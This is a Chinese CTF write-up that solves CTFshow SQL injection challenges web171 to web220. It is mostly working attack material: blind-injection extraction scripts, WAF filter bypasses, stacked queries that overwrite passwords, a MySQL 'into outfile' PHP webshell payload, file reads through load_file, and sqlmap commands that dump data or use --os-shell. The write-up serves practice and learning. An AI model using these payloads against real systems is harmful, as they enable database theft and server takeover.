CTFshow sql注入 上篇(web171-220)
目錄
- 前言
- 題目
- web 171(萬能密碼)
- web 172(回顯內容過濾,base64或者hex編碼繞過)
- web 173(回顯內容過濾,base64或者hex編碼繞過)
- web 174 (布爾盲注丶trim盲注丶replace替換字符)
- web 175(時間盲注 二分法和Mysql寫webshell)
- web 176(大小寫繞過)
- web 177(過濾空格)
- web178 (過濾空格)
- web179 (過濾空格)
- web180 (過濾空格)
- web181
- web182
- web183 (like盲注)
- web184 (regexp 盲注)
- web185(過濾數字)
- web186(過濾數字)
- web187(md5($password,true) 萬能密碼)
- web188 (mysql弱類型比較)
- web189(盲注讀文件)
- web190(時間盲注)
- web191(時間盲注)
- web192(時間盲注)
- web193(時間盲注)
- right
- left
- web194(時間盲注)
- web195(update改密碼)
- web196
- web197-198(插入數據)
- web199-200(插入數據)
- web201(sqlmap-GET)
- web202(sqlmap-POST)
- web203(sqlmap-PUT)
- web204(sqlmap-cookie)
- web205
- web206(level)
- web207(tamper)
- web208(tamper)
- 心態有點炸了,寫了十幾題,關電腦前忘記發布了,全沒了
- web209(自定義tamper)
- web210-212(自定義tamper)
- web 213(--os-shell)
- web214(時間盲注)
- web215 (時間盲注)
- web216(時間盲注)
- web217-219(時間盲注)
- benchmark
- 笛卡爾積
- 正則表達式
- exp
- web220(時間盲注)
- 總結
前言
師傅們加油!!!
題目
web 171(萬能密碼)
//拼接sql語句查找指定ID用戶 $sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";id存在注入,可以直接用萬能密碼' or 1=1 %23,這時候#會把后面過濾了, where username !='flag' and id = '' or 1=1 %23條件恒成立,select語句返回所有結果
web 172(回顯內容過濾,base64或者hex編碼繞過)
(貓貓挺好玩的)
發現對username的回顯內容進行檢測
//檢查結果是否有flagif($row->username!=='flag'){$ret['msg']='查詢成功';}可以用base64編碼或者hex編碼繞過,to_base64(),hex()
' union select hex(username),password from ctfshow_user2 where username='flagweb 173(回顯內容過濾,base64或者hex編碼繞過)
對比上題,對所有回顯內容都做了檢測
//檢查結果是否有flagif(!preg_match('/flag/i', json_encode($ret))){$ret['msg']='查詢成功';}由于flag格式是ctfshow{XXX},所以我們的flag不會檢測到,直接用上題的payload,把ctfshow_user2改成ctfshow_user3
' union select 1,hex(username),password from ctfshow_user3 where username='flag突然想起來,如果flag格式是ctfshow{XXX}話,過濾flag并沒有什么影響,已經知道表名,可以直接查詢password拿到flag
' union select 1,1,password from ctfshow_user3 where username='flagweb 174 (布爾盲注丶trim盲注丶replace替換字符)
過濾更嚴格了,數字也會被檢測到
//檢查結果是否有flagif(!preg_match('/flag|[0-9]/i', json_encode($ret))){$ret['msg']='查詢成功';}試過了編碼,都沒有回顯,應該是編碼后還是存在數字,只能換個方法了
想到可以用盲注去解,保險起見現在burp抓包根據請求包寫個盲注腳本,因為ctfshow的flag是用了uuid加密,可以直接構造uuid字典uuid=string.ascii_lowercase+"-}{"+string.digits
flag格式ctfshow{xxxxxxxx(8)-xxxx(4)-xxxx(4)-xxxx(4)-xxxxxxxxxxxx(12)}
其中每個 x 是 0-9 或 a-f 范圍內的一個十六進制的數字。
布爾盲注
import requests import stringurl="http://b1c54244-c67c-41e9-80af-c6c916ee3cf2.challenge.ctf.show//api/v4.php?id=1'"uuid=string.ascii_lowercase+"-}{"+string.digits flag=""for i in range(1,46):for j in uuid: payload = "and ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag') from {0} for 1))={1}--%20&page=1&limit=10".replace(" ", "/**/").format(i,ord(j))res = requests.get(url+payload)print(j)if "admin" in res.text:flag += jprint("flag=",flag)breakelse:passtrim盲注
# @Author:Kradress import requests import stringurl="http://b1c54244-c67c-41e9-80af-c6c916ee3cf2.challenge.ctf.show/api/v4.php?id=1'"uuid=string.ascii_lowercase+"-}{"+string.digits flag="ctfshow{"for i in range(1,46):for j in uuid: payload = f"and trim(leading '{flag}{j}' from (select group_concat(password) from ctfshow_user4 where username = 'flag'))=trim(leading '{flag}.' from (select group_concat(password) from ctfshow_user4 where username = 'flag'))--%20".replace(" ", "/**/")res = requests.get(url+payload)print(j)if "admin" not in res.text:flag += jprint("flag=",flag)breakelse:pass看了下群主的思路,可以用replace函數去把數字替換成其他字符
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'0',')'),'9','('),'8','*'),'7','&'),'6','^'),'5','%'),'4','$'),'3','#'),'2','@'),'1','!') # "a1b2c3d4e5" => "a!b@c3d4e5"web 175(時間盲注 二分法和Mysql寫webshell)
本身自己寫了一個時間盲注的腳本,但是表現不佳,跑的速度太慢了,參考了Y4tacker師傅的腳本,用了二分法
import requestsurl = "http://82f3585f-b6e9-42c4-b8fa-6bd57cf51887.challenge.ctf.show/api/v5.php?id=1'"result = ''for i in range(1,40):head = 32tail = 127while head < tail:mid = (head + tail) >> 1 # 中間指針等于頭尾指針相加的一半payload = "and if(ascii(substr((select password from ctfshow_user5 where username = 'flag' ),{0},1))>{1},sleep(3),1)%23".format(i,mid)try:r = requests.get(url + payload, timeout=0.5)tail = mid except:head = mid + 1 #sleep導致超時if head != 32:result += chr(head)print(result)else:break還有種辦法是MySQL寫webshell,可以用outfile和dumpfile來寫shell
聯合查詢
?id=' UNION ALL SELECT 1,2,'<?php echo 123;eval($_POST[0]);?>',3 into outfile '/var/www/html/1.php' %23 ?id=' UNION ALL SELECT 1,2,'<?php echo 123;eval($_POST[0])?>',3 into dumpfile '/var/www/html/1.php' %23web 176(大小寫繞過)
用order by,得知表有3列,發現select被過濾,但可以用大小寫繞過
1' union sElect 1,2, group_concat(password) from `ctfshow_user`--web 177(過濾空格)
可以用這些代替空格
%09 %0a %0d %0c /**/ + 1'%0aunion%0asElect%0a1,2,%0agroup_concat(password)%0afrom%0a`ctfshow_user`%23web178 (過濾空格)
上題的也可以解出來,換個方式
1'or'1'='1'%23web179 (過濾空格)
%0c沒被過濾
1'%0cunion%0csElect%0c1,2,%0cgroup_concat(password)%0cfrom%0c`ctfshow_user`%23web180 (過濾空格)
發現#也被過濾了,而且只能回顯一行
-1'%0cunion%0csElect'1',(sElect%0cgroup_concat(password)from`ctfshow_user`),'3web181
過濾了所有空格
//對傳入的參數進行了過濾function waf($str){return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);} -1'or(username)='flagweb182
這次過濾了flag,不過可以通過查詢id來那道flag
//對傳入的參數進行了過濾function waf($str){return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);}看了下上題,flag的id是26
web183 (like盲注)
直接寫個盲注腳本吧
import requests import stringurl = 'http://ec30edd1-31ee-45ae-9db4-7db5f4b6c83d.challenge.ctf.show/select-waf.php' uuid = string.digits+string.ascii_lowercase+"-}" passwd = "`ctfshow_user`where(pass)like'ctfshow{"for i in range(40):for char in uuid:data = {'tableName' : passwd +f"{char}%'"}res = requests.post(url, data=data)if "$user_count = 1;" in res.text:passwd += charprint(passwd)breakweb184 (regexp 盲注)
比上題更加嚴格,但是可以用空格
import requests import stringurl = 'http://e62dd2da-6dc5-4d4c-8907-ab198e411f30.challenge.ctf.show/select-waf.php' uuid = string.digits+string.ascii_lowercase+"-}" passwd = 'ctfshow_user group by pass having pass regexp(0x63746673686f777b' #ctfshow{for i in range(40):for char in uuid:data = {'tableName' : passwd +f"{hex(ord(char))[2:]})"}res = requests.post(url, data=data)if "$user_count = 1;" in res.text:passwd += hex(ord(char))[2:]print(passwd)breakweb185(過濾數字)
| false | 0 |
| true | 1 |
| true+true | 2 |
| floor(pi()) | 3 |
| ceil(pi()) | 4 |
| floor(pi())+true | 5 |
| floor(pi())+floor(pi()) | 6 |
| floor(pi())+ceil(pi()) | 7 |
| ceil(pi())+ceil(pi()) | 8 |
| floor(pi())*floor(pi()) | 9 |
| floor(pi())*floor(pi())+true | 10 |
waf不讓用數字和字符串(過濾單引號雙引號),可以用regex(concat(char(xxx),char(xxx)...))解
# @Author:Kradress from operator import concat import requests import stringurl = 'http://814f9d18-e43c-4dad-bdb7-489f7a423606.challenge.ctf.show/select-waf.php' uuid = string.digits+string.ascii_lowercase+"-}" passwd = 'ctfshow_user group by pass having pass regexp(' #ctfshow{ flag = 'ctfshow{'def numToStr1(str):parts = []for s in str:parts.append(numToStr2(s))res = ','.join(parts)return f"concat({res})"def numToStr2(num):parts = []n = ord(num)for i in range(n):parts.append("true")res = "+".join(parts)return f"char({res})"for i in range(40):for char in uuid:data = {'tableName' : passwd + f"{numToStr1(flag+char)})"}res = requests.post(url, data=data)if "$user_count = 1;" in res.text:flag += charprint(flag)breakweb186(過濾數字)
同上
web187(md5($password,true) 萬能密碼)
看到md5($password,true),立馬想到可以用萬能密碼繞過
ffifdyop 129581926211651571912466741651878684928web188 (mysql弱類型比較)
參考博客 MySQL學習之弱類型
進行下列語句查詢的時候,會發生隱式的數據類型轉換,當username為0的時候,也會返回所有username為非0開頭的字符串
$sql = "select pass from ctfshow_user where username = {$username}"; username=0&password=0web189(盲注讀文件)
題目提示flag在/api/index.php中,猜測用load_file讀文件.可以用like或者regexp匹配,也可以用loacte函數獲取flag的下標,然后截取比較
盲注的話要尋找判斷回顯的地方,可以發現當用戶名和密碼為0時,顯示密碼錯誤,用戶名為其他值的時候顯示查詢失敗.
題目把and or & |都過濾了,不過 where username = {$username} 沒有引號包裹可以直接傳數字.用if或者case就可以了
# @Author:Kradress from operator import concat import requests import stringurl = 'http://2e697a15-84fe-4c2d-988f-37edb5260613.challenge.ctf.show/api/' uuid = string.digits+string.ascii_lowercase+"-}" passwd = "if(load_file('/var/www/html/api/index.php')regexp('ctfshow{" #ctfshow{ flag = 'ctfshow{'for i in range(40):for char in uuid:print(char)data = {'username' : passwd + f"{char}'),0,1)",'password' : 0}res = requests.post(url, data=data)if "\\u5bc6\\u7801\\u9519\\u8bef" in res.text:passwd += charprint(passwd)breakweb190(時間盲注)
發現沒對username進行過濾,可以用sleep,直接上時間盲注
exp
# @Author:Kradress import requestsurl = "http://3cc6c564-6d1b-445c-9503-2cd45a50ea3c.challenge.ctf.show/api/"result = ''# 爆表名 # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # 爆列名 # payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'" #爆字段值 payload = "select f1ag from `ctfshow_fl0g`"for i in range(40,50):head = 32tail = 127while head < tail:mid = (head + tail) >> 1 # 中間指針等于頭尾指針相加的一半# print(mid)data = {'username' : f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",'password' : 0}try:r = requests.post(url, data, timeout=0.8)tail = mid except:head = mid + 1 #sleep導致超時if head != 32:result += chr(head)print(result)else:breakweb191(時間盲注)
ascii改同名函數ord,其他同上
web192(時間盲注)
不給用ascii就不用了
exp
# @Author:Kradress import requests import stringurl = "http://36918409-2772-42d0-8ecb-bfbad2f46695.challenge.ctf.show/api/"result = ''# 爆表名 # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # 爆列名 # payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'" #爆字段值 payload = "select f1ag from `ctfshow_fl0g`" uuid = string.ascii_lowercase+string.digits+"{-_}"for i in range(1,50):for char in uuid:data = {'username' : f"admin' and if(substr(({payload}),{i},1)='{char}',sleep(3),1)#",'password' : 0}try:r = requests.post(url, data, timeout=0.8)except:result += char #sleep導致超時print(result)breakif char == '}':breakweb193(時間盲注)
strsub不給用了,mid、leift、right都可以
right
從右邊開始截取,配合ascii使用.
ascii('str')返回字符串的第一個字符的ascii碼
ascii(right('abc',2))= 97相當于 ascii(‘bc’)=97
left
從左邊開始截取,用reverse反轉
ascii(reverse(left('abc',2))) = 97 相當于 ascii(‘bc’)=97
mid和strsub效果一樣,代碼同上
web194(時間盲注)
繼續白嫖
web195(update改密碼)
本身開始想用下列語句的,但是返回查詢失敗
admin;update`ctfshow_user`set`pass`=123檢查了下語句沒有被過濾,但是發現$username沒有被單引號包裹,可以用十六進制或者unhex(hex())繞過
$sql = "select pass from ctfshow_user where username = {$username};";payload
username=0x61646d696e;update`ctfshow_user`set`pass`=123&password=123web196
長度限制了又過濾了select,除了爆破想不到還有什么方法可以解出來
看了其他師傅wp,實際上沒有過濾select…
username=0;select(1)&password=1web197-198(插入數據)
into被禁用了但是insert還能用
username:0;insert ctfshow_user(`username`,`pass`) value(0,0); passworf:0web199-200(插入數據)
由于是row[0]==$password比較,show tables的row[0]結果就是ctfshow_user
username: 0;show tables; password: ctfshow_userweb201(sqlmap-GET)
好久沒用sqlmap了,還得看一下之前學習的文檔
提示:
f12拿到referer
直接跑sqlmap
得知id存在注入點,還列舉了布爾時間盲注以及聯合注入的payload
以下為sqlmap常見的用法
爆表名
sqlmap -u http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/api/?id=1 --refer=ctf.show --current-db --tables
爆字段
爆字段值
sqlmap -u http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/api/?id=1 --refer=ctf.show --current-db --tables -T ctfshow_user --columns -C pass -dumpweb202(sqlmap-POST)
這題要用post傳參
#http數據 #參數 --data #此參數是把數據以post方式提交,sqlmap會自動檢測post參數 sqlmap.py -u http://192.168.0.103/06/vul/sqli/sqli_id.php --data="id=1&submit=查詢"直接爆字段值
sqlmap -u http://8871fb1e-1ab8-45d4-af62-eda76e077947.challenge.ctf.show/api/ --data="id=1" --refer=ctf.show --current-db --tables -T ctfshow_user --columns -C pass -dumpweb203(sqlmap-PUT)
–method 指定 put 請求方式,url 要帶 index.php,還要加上 --headers=“Content-Type: text/plain” 便于 put 接收表單參數。
直接爆字段值
sqlmap -u http://7839878a-635c-449f-b72a-941bbb3d9977.challenge.ctf.show/api/index.php --method=PUT --headers="Content-Type: text/plain" --data="id=1" --refer=ctf.show --current-db --tables -T ctfshow_user --columns -C pass -dumpweb204(sqlmap-cookie)
–cookie 輸入cookie的請求參數
F12拿到cookie值
直接爆字段值
sqlmap -u http://ffe9c741-aee2-4314-bfd3-39845cc9c872.challenge.ctf.show/api/index.php --cookie=c3fda8fa42ca6b9d76d76a2eee8a97be --method=PUT --headers="Content-Type: text/plain" --data="id=1" --refer=ctf.show --current-db --tables -T ctfshow_user --columns -C pass -dumpweb205
抓包發現先訪問/api/getToken.php頁面,驗證PHPSESSID后才能通過,去訪問/api/
1、--safe-url:提供一個安全不錯誤的連接,每隔一段時間都會去訪問一下。 2、--safe-freq:提供一個安全不錯誤的連接,每次測試請求之后都會再訪問一遍安全連接。 sqlmap -u http://128536eb-f78e-4b9b-8a53-b7e923fdd66e.challenge.ctf.show/api/index.php --method=PUT --headers="Content-Type: text/plain" --data="id=1" --refer=ctf.show --safe-url=http://128536eb-f78e-4b9b-8a53-b7e923fdd66e.challenge.ctf.show/api/getToken.php --safe-freq=1 --current-db --tables -T ctfshow_flax --columns -C flagx --dumpweb206(level)
用上題的繼續打,逐不出來,可以提高level等級,個人理解提高level就會執行更多的payload,同時執行速度也會變慢
--level=LEVEL 設置測試等級(1-5,默認為 1) sqlmap -u http://3d0cde40-c5a5-48b2-b486-215a504dee67.challenge.ctf.show/api/index.php --safe-url=http://3d0cde40-c5a5-48b2-b486-215a504dee67.challenge.ctf.show/api/getToken.php --safe-freq=1 --method=PUT --headers="Content-Type: text/plain" --data="id=1" --dbms=mysql --current-db --tables -T ctfshow_flaxc --columns -C flagv --dump --level=3web207(tamper)
過濾了空格,可以用--tamper來修改注入的數據
常見的tamper腳本
space2comment.py用/**/代替空格apostrophemask.py用utf8代替引號equaltolike.pylike代替等號space2dash.py 繞過過濾‘=’ 替換空格字符(”),(’–‘)后跟一個破折號注釋,一個隨機字符串和一個新行(’n’)greatest.py 繞過過濾’>’ ,用GREATEST替換大于號。space2hash.py空格替換為#號,隨機字符串以及換行符apostrophenullencode.py繞過過濾雙引號,替換字符和雙引號。halfversionedmorekeywords.py當數據庫為mysql時繞過防火墻,每個關鍵字之前添加mysql版本評論space2morehash.py空格替換為 #號 以及更多隨機字符串 換行符appendnullbyte.py在有效負荷結束位置加載零字節字符編碼ifnull2ifisnull.py 繞過對IFNULL過濾,替換類似’IFNULL(A,B)’為’IF(ISNULL(A), B, A)’space2mssqlblank.py(mssql)空格替換為其它空符號base64encode.py 用base64編碼替換space2mssqlhash.py 替換空格modsecurityversioned.py過濾空格,包含完整的查詢版本注釋space2mysqlblank.py 空格替換其它空白符號(mysql)between.py用between替換大于號(>)space2mysqldash.py替換空格字符(”)(’ – ‘)后跟一個破折號注釋一個新行(’ n’)multiplespaces.py圍繞SQL關鍵字添加多個空格space2plus.py用+替換空格bluecoat.py代替空格字符后與一個有效的隨機空白字符的SQL語句,然后替換=為likenonrecursivereplacement.py雙重查詢語句,取代SQL關鍵字space2randomblank.py代替空格字符(“”)從一個隨機的空白字符可選字符的有效集sp_password.py追加sp_password’從DBMS日志的自動模糊處理的有效載荷的末尾chardoubleencode.py雙url編碼(不處理以編碼的)unionalltounion.py替換UNION ALLSELECT UNION SELECTcharencode.py url編碼randomcase.py隨機大小寫unmagicquotes.py寬字符繞過 GPCaddslashesrandomcomments.py用/**/分割sql關鍵字charunicodeencode.py字符串 unicode 編碼securesphere.py追加特制的字符串versionedmorekeywords.py注釋繞過space2comment.py替換空格字符串(‘‘) 使用注釋‘/**/’halfversionedmorekeywords.py關鍵字前加注釋 sqlmap -u http://7cea92bf-aaf3-41a2-8f26-099184397e8c.challenge.ctf.show/api/index.php --safe-url=http://7cea92bf-aaf3-41a2-8f26-099184397e8c.challenge.ctf.show/api/getToken.php --safe-freq=1 -method=PUT --headers="Content-Type: text/plain" --data="id=1" --dbms=mysql --current-db --tables -T ctfshow_flaxca --columns -C flagvc --dump --level=3 --tamper=space2commentweb208(tamper)
過濾了空格,可以用--tamper來修改注入的數據
常見的tamper腳本
space2comment.py用/**/代替空格apostrophemask.py用utf8代替引號equaltolike.pylike代替等號space2dash.py 繞過過濾‘=’ 替換空格字符(”),(’–‘)后跟一個破折號注釋,一個隨機字符串和一個新行(’n’)greatest.py 繞過過濾’>’ ,用GREATEST替換大于號。space2hash.py空格替換為#號,隨機字符串以及換行符apostrophenullencode.py繞過過濾雙引號,替換字符和雙引號。halfversionedmorekeywords.py當數據庫為mysql時繞過防火墻,每個關鍵字之前添加mysql版本評論space2morehash.py空格替換為 #號 以及更多隨機字符串 換行符appendnullbyte.py在有效負荷結束位置加載零字節字符編碼ifnull2ifisnull.py 繞過對IFNULL過濾,替換類似’IFNULL(A,B)’為’IF(ISNULL(A), B, A)’space2mssqlblank.py(mssql)空格替換為其它空符號base64encode.py 用base64編碼替換space2mssqlhash.py 替換空格modsecurityversioned.py過濾空格,包含完整的查詢版本注釋space2mysqlblank.py 空格替換其它空白符號(mysql)between.py用between替換大于號(>)space2mysqldash.py替換空格字符(”)(’ – ‘)后跟一個破折號注釋一個新行(’ n’)multiplespaces.py圍繞SQL關鍵字添加多個空格space2plus.py用+替換空格bluecoat.py代替空格字符后與一個有效的隨機空白字符的SQL語句,然后替換=為likenonrecursivereplacement.py雙重查詢語句,取代SQL關鍵字space2randomblank.py代替空格字符(“”)從一個隨機的空白字符可選字符的有效集sp_password.py追加sp_password’從DBMS日志的自動模糊處理的有效載荷的末尾chardoubleencode.py雙url編碼(不處理以編碼的)unionalltounion.py替換UNION ALLSELECT UNION SELECTcharencode.py url編碼randomcase.py隨機大小寫unmagicquotes.py寬字符繞過 GPCaddslashesrandomcomments.py用/**/分割sql關鍵字charunicodeencode.py字符串 unicode 編碼securesphere.py追加特制的字符串versionedmorekeywords.py注釋繞過space2comment.py替換空格字符串(‘‘) 使用注釋‘/**/’halfversionedmorekeywords.py關鍵字前加注釋waf是沒有區分大小寫的,可以隨機大小寫繞過(randomcase.py),多個tamper用,分隔
sqlmap -u http://9cd7a826-e21c-4097-8d19-a2f8ecba5406.challenge.ctf.show/api/index.php --safe-url=http://9cd7a826-e21c-4097-8d19-a2f8ecba5406.challenge.ctf.show/api/getToken.php --safe-freq=1 -method=PUT --headers="Content-Type: text/plain" --data="id=1" --dbms=mysql --current-db --tables -T ctfshow_flaxcac --dump --level=3 --tamper="space2comment,randomcase"心態有點炸了,寫了十幾題,關電腦前忘記發布了,全沒了
web209(自定義tamper)
這題我們可以自己寫tamper,可以參考一下space2comment,只要對tamper函數中傳入得payload進行替換,然后在retrun替換后得結果就好了
直接用utools的everything插件搜下tamper(強烈安利)
把spce2comment的內容復制下,新建一個python腳本(ctfshow209.py)
web210-212(自定義tamper)
//對查詢字符進行解密function decode($id){return strrev(base64_decode(strrev(base64_decode($id))));}直接反著來即可
#!/usr/bin/env python""" Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """from lib.core.compat import xrange from lib.core.enums import PRIORITY from base64 import *__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):retVal = payloadretVal = retVal.replace("-- -", "#")retVal = b64encode("".join(reversed(b64encode("".join(reversed(retVal)).encode('utf-8')).decode('utf-8'))).encode('utf-8')).decode('utf-8')return retVal211和212的可以直接在tamper腳本里面對payload進行替換,也可以用多個tamper腳本
web 213(–os-shell)
sqlmap -u http://97a2ce63-a000-4020-838b-9eccc076d657.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --headers="Content-Type: text/plain" --safe-url="http://97a2ce63-a000-4020-838b-9eccc076d657.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=ctfshow210.py -os-shell默認選php,上傳路徑/var/www/html,發現生成了2個php文件,一個文件上傳一個命令執行的,任選一個getshell即可
web214(時間盲注)
找了半天不知道注入點在哪里,后面看了其他師傅wp,要提交ip和debug(有點坑)
# @Author:Kradress import requestsurl = "http://1de6f9ac-fd93-4893-bedb-1c82c0648cad.challenge.ctf.show/api/"result = ''# 爆表名 # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # 爆列名 # payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagx'" #爆字段值 payload = "select flaga from `ctfshow_flagx`"for i in range(1,50):head = 32tail = 127while head < tail:mid = (head + tail) >> 1 # 中間指針等于頭尾指針相加的一半# print(mid)data = {'ip' : f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",'debug' : '0'}try:r = requests.post(url, data, timeout=0.8)tail = mid except:head = mid + 1 #sleep導致超時if head != 32:result += chr(head)print(result)else:breakweb215 (時間盲注)
多了個單引號
# @Author:Kradress import requestsurl = "http://c458b304-838a-4cbe-b1cb-9d5643e0f95b.challenge.ctf.show/api/"result = ''# 爆表名 # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # 爆列名 # payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'" #爆字段值 payload = "select flagaa from `ctfshow_flagxc`"for i in range(1,50):head = 32tail = 127while head < tail:mid = (head + tail) >> 1 # 中間指針等于頭尾指針相加的一半# print(mid)data = {'ip' : f"' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",'debug' : '0'}try:r = requests.post(url, data, timeout=0.8)tail = mid except:head = mid + 1 #sleep導致超時if head != 32:result += chr(head)print(result)else:breakweb216(時間盲注)
where id = from_base64($id);把括號閉合了就好了,影響不大
# @Author:Kradress import requestsurl = "http://eea43a69-b1c9-4ebd-a637-24ee0754d774.challenge.ctf.show/api/"result = ''# 爆表名 # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # 爆列名 # payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxcc'" #爆字段值 payload = "select flagaac from `ctfshow_flagxcc`"for i in range(1,50):head = 32tail = 127while head < tail:mid = (head + tail) >> 1 # 中間指針等于頭尾指針相加的一半# print(mid)data = {'ip' : f"1) or if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#",'debug' : '0'}try:r = requests.post(url, data, timeout=0.8)tail = mid except:head = mid + 1 #sleep導致超時if head != 32:result += chr(head)print(result)else:breakweb217-219(時間盲注)
這題過濾了sleep ,替換的方式有很多
benchmark
benchmark #可以測試某些特定操作的執行速度。參數可以是需要執行的次數和表達式。
select benchmark(1e7,sha1('kradress')); # 2.24s select benchmark(1e7*(1=1),sha1('kradress')) #2.57s select benchmark(1e7*(1=2),sha1('kradress')) #0s笛卡爾積
這種方法又叫做heavy query,可以通過選定一個大表來做笛卡兒積,但這種方式執行時間會幾何倍數的提升,在站比較大的情況下會造成幾何倍數的效果,實際利用起來非常不好用
-- 可以代替sleep select if(1=1,(select count(*) from information_schema.columns A, information_schema.columns B,information_schema.columns C),0);正則表達式
正側匹配在匹配較長字符串但自由度比較高的字符串時會造成比較大的計算量,我們通過rpad或repeat構造長字符串,加以計算量大的pattern,通過控制字符串長度我們可以控制延時
SELECT if(1=1,(select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b')),0)exp
這幾題經常出錯,做了幾個小時就做出217,試不出來,麻了.本身想放棄了,又手動測試了題目環境應該是沒問題了,問題也可能出在自己寫的代碼里面,后面意識到不一定是服務端那邊響應時間導致的,我給服務器發送請求也是要經過一定時間的,可以通過在源碼里加sleep函數來減小誤差
217
# @Author:Kradress from time import sleep import requestsurl = "http://b0b32c4b-d4d4-4ea1-8cba-39c7da213542.challenge.ctf.show/api/"result = ''# 爆表名 # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # 爆列名 # payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxccb'" #爆字段值 payload = "select flagaabc from `ctfshow_flagxccb`"for i in range(1,50):head = 32tail = 127while head < tail:sleep(1)mid = (head + tail) >> 1 # 中間指針等于頭尾指針相加的一半print(mid)data = {'ip' : f"-1) or benchmark(4e6*(ascii(substr(({payload}),{i},1))>{mid}),sha1('kradress'))#",# 'ip' : "-1)+or+if(1>0,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1)#",'debug' : '1'}try:r = requests.post(url, data, timeout=1)tail = mid except:head = mid + 1 #sleep導致超時if head != 32:result += chr(head)print(result)else:break218-219
# @Author:Kradress from time import sleep import requestsurl = "http://d3acf855-ded7-4f06-9fe8-d6c38215602b.challenge.ctf.show/api/"result = ''# 爆表名 # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # 爆列名 # payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxc'" #爆字段值 #218 #payload = "select flagaac from ctfshow_flagxc" #219 #payload = "select flagaabc from ctfshow_flagxca"for i in range(1,50):head = 32tail = 127while head < tail:sleep(1)mid = (head + tail) >> 1 # 中間指針等于頭尾指針相加的一半# print(mid)data = {'ip' : f"-1) or if(ascii(substr(({payload}),{i},1))>{mid},(select count(*) from information_schema.columns A, information_schema.columns B,information_schema.schemata C),1",'debug' : '1'}try:r = requests.post(url, data, timeout=1)tail = mid except:head = mid + 1 #sleep導致超時if head != 32:result += chr(head)print(result)else:breakweb220(時間盲注)
看起來過濾挺多的
//屏蔽危險分子function waf($str){return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str); }ascii可以用ord同名函數替換,substr可以用right替換
從右邊開始截取,配合ascii使用. ascii('str')返回字符串的第一個字符的ascii碼 ascii(right('abc',2))= 97 | ascii('bc')
其實也可以直接用=,就不用比較了,就是懶得重新寫
# @Author:Kradress from time import sleep import requestsurl = "http://d9c4aa97-33ea-4164-abc7-79b0c50fe9ce.challenge.ctf.show/api/"result = ''# 爆表名 # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # 爆列名 # payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagxcac'" #爆字段值 payload = "select flagaabcc from ctfshow_flagxcac"for i in range(9,50):head = 32tail = 127while head < tail:sleep(1)mid = (head + tail) >> 1 # 中間指針等于頭尾指針相加的一半# print(mid)data = {'ip' : f"-1) or if(ord(right(({payload}),{i}))>{mid},(select count(*) from information_schema.columns A, information_schema.columns B,information_schema.schemata C),1",'debug' : '1'}try:r = requests.post(url, data, timeout=1)tail = mid except:head = mid + 1 #sleep導致超時if head != 32:result += chr(head)print(result)else:break總結
上篇終于告一段落了,最近在學java漏洞審計和內網,所以更新的有點慢(拖了2個月了),接下來馬上把下篇也補上.
總結
以上是生活随笔為你收集整理的CTFshow sql注入 上篇(web171-220)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow 文件上传 web167
- 下一篇: 【捣鼓】移动硬盘装Ubuntu系统